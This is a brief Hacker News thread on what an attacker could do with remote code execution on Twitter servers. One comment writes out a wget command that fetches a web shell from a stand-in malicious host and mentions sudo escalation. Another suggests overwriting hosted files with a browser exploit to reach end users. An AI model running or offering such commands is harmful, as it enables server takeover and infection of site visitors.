Hacker News new | ask | show | jobs
by ricANNArdo 4259 days ago
Remote code execution e.g. he can also execute 'wget http://bad.php.script/shell.php' for planting shell or 'sudo <command>' for priviledge execution (up to root). So pretty much everything you can do on their Twitter servers.
2 comments
icebraining 4259 days ago
'sudo <command>' for priviledge execution

Well, I hope it's not too much to expect the webserver user not to have sudo permissions.

link
VLM 4259 days ago
Another "fun" thing to do is if the hosted data is just sitting there, wget a browser exploit file on top of it.

This is probably not a serious concern for a place as huge as twitter because they're going to CDN static content separately from dynamic content, but would be really exciting for "I got me one server for my whole startup" types. Maybe you could bypass existing systems to serve up malicious code to end users anyway.

link